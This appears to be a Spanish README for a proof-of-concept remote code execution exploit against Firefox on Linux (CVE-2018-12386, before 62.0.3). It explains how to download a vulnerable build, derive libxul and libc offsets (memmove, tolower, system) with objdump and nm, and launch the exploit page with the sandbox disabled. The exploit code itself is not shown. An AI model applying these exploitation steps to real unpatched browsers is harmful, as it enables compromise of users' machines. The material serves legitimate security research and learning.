
CVE-2018-12386 - Exploit de RCE con sandbox de Firefox para Linux (Firefox <v62.0.3)
Aquí hay un exploit simple para la vulnerabilidad CVE-2018-12386 encontrada por Niklas Baumstark, Samuel Groß y Bruno Keith.
Esto es principalmente una PoC que hice por diversión, no hay evasión del sandbox y solo funcionará en una configuración de Linux determinada donde los offsets utilizados por el exploit ya sean conocidos (se pueden cambiar en exploit/offsets.js).
Este exploit funciona para versiones anteriores a Firefox 62.0.3 y Firefox ESR 60.2.2.
Puedes descargar versiones anteriores de Firefox directamente desde el servidor FTP de Mozilla: https://ftp.mozilla.org/pub/firefox/releases/
Puedes usar, por ejemplo, la versión 62.0.2 para Linux de 64 bits: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soSi estás usando Firefox 62.0.2, los offsets proporcionados en exploit/offsets.js deberían ser los correctos.
Para otras versiones, una forma sencilla de hacerlo es usar la primitiva addrof para filtrar la dirección de la función JavaScript Math.max, luego encontrar la dirección base de libxul.so para la instancia de Firefox que estás explotando actualmente (con cat /proc/$(pidof firefox)/maps por ejemplo) y restar las dos para obtener el offset libxul_math_max.
Si estás usando Firefox 62.0.2, los offsets proporcionados en exploit/offsets.js deberían ser los correctos.
Para otras versiones, una forma sencilla de hacerlo es usar objdump.
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370 y 5c0d968 son los valores que necesitamos, es decir, el offset de memmove y tolower en libxul.so.
libc.so.6Estos offsets dependen completamente de la versión de libc que uses.
# libc.so.6 location
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
Una vez que tengas Firefox y los offsets correctos, puedes probar el exploit ejecutando el siguiente comando:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Si quieres saludar: @lyte__